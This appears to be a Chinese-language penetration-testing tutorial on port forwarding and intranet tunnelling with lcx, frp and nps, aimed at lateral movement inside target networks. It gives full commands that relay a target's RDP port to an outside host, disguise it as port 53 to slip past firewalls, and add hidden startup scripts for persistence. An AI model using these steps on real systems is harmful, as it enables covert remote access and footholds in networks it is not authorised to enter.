在滲透測試過程中,我們經常會用到端口轉發,利用代理腳本將內網的流量代理到本地進行訪問,這樣極大的方便了我們對內網進行橫向滲透。
lcx端口轉發
lcx是一個基於Socket套接字實現的端口轉發工具,Windows版本為lcx.exe,Linux版為portmap。
內網端口轉發(以Windows為例)
在公網主機上執行命令:lcx.exe -listen 4444 5555
將4444端口監聽到的所有數據轉發到5555端口
PS:如無法執行可嘗試管理員權限的cmd
C:\Users\Riy\Desktop>lcx.exe -listen 4444 5555
======================== HUC Packet Transmit Tool V1.00 =======================
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url]
==========
[+] Listening port 4444 ......
[+] Listen OK!
[+] Listening port 5555 ......
[+] Listen OK!
[+] Waiting for Client on port:4444 ......
[+] Accept a Client on port 4444 from 192.168.1.111 ......
[+] Waiting another Client on port:5555....
在目標主機執行命令:lcx.exe -slave 192.168.1.109 4444 127.0.0.1 3389
將目標主機的3389端口轉發到192.168.1.109的4444端口
C:\Users\Riy\Desktop>lcx.exe -slave 192.168.1.109 4444 127.0.0.1 3389
======================== HUC Packet Transmit Tool V1.00 =======================
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url]
==========
[+] Make a Connection to 192.168.1.109:4444....
使用遠程mstsc連接192.168.1.109:5555,即可訪問目標主機的3389端口。
本地端口映射
將目標主機的3389端口數據透傳到53端口,針對一些對端口存在限制的防火牆就可以繞過限制
C:\Users\Riy\Desktop>lcx.exe -tran 53 127.0.0.1 3389
======================== HUC Packet Transmit Tool V1.00 =======================
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url]
==========
[+] Waiting for Client ......
frp內網穿透
frp 是一個高性能的反向代理應用,可以幫助您輕松地進行內網穿透,對外網提供服務,支持 tcp, http, https 等協議類型,並且 web 服務支持根據域名進行路由轉發。
下載地址:https://github.com/fatedier/frp/releases
服務端(frps.ini)
以Windows為例cmd執行frps.exe -c frps.ini
簡單配置如下(默認配置):
[common]
bind_port = 7000
客戶端(frpc.ini)
以Windows為例cmd執行frpc.exe -c frpc.ini
簡單配置如下:
[common]
server_addr = 192.168.1.110 #此次填寫公網IP
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 7100
設置開機自啟
Windows下:
1、設置frps自啟動,自啟動的腳本保存為frps.vbs:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c c:\frps\frps.exe -c c:\frps\frps.ini",vbhide
2、設置frpc自啟動,自啟動腳本保存為frpc.vbs:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c c:\frpc\frpc.exe -c c:\frpc\frpc.ini",vbhide
3、然后把vbs放到啟動目錄即可
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Linux下:
在/etc/rc.local里面添加(文件的具體路徑根據實際情況填寫)
/root/frp_0.20.0_linux_amd64/frpc -c /root/frp_0.20.0_linux_amd64/frpc.ini > /root/frp_0.20.0_linux_amd64/log.log 2>&1
更多功能
查看:https://github.com/fatedier/frp
nps內網穿透
nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,並帶有功能強大的web管理端。
下載地址:https://github.com/ehang-io/nps/releases
服務端配置(以Linux為例)
配置文件為conf/nps.conf,根據需求配置。
安裝服務端: ./nps install
啟動服務端: ./nps
訪問 IP:8080,默認賬戶/密碼為:admin/123
設置客戶端連接密鑰為123456
客戶端配置(以Linux為例)
默認端口為8024,可在配置文件修改
安裝客戶端: ./npc install
啟動客戶端: ./npc -server=IP:8024 -vkey=客戶端的密鑰
成功連接
無法成功啟動
如遇無法啟動,如提示端口被占用,使用一下方法殺死占用端口
#查看占用端口端口的進程
netstat -anp | grep 22(端口號)
#殺死某個端口的占用進程
# -9 參數表示告訴操作系統直接殺死進程, 無論進程的狀態是否可殺死
kill -s 9 9646(進程號)
更多功能
查看:https://github.com/ehang-io/nps/blob/master/README_zh.md
最后
代理轉發及內網穿透工具還有很多,比如:nc, ew, Venom等,這里筆者只做了簡單的介紹,更多好玩的工具大家自己去探索(●'◡'●)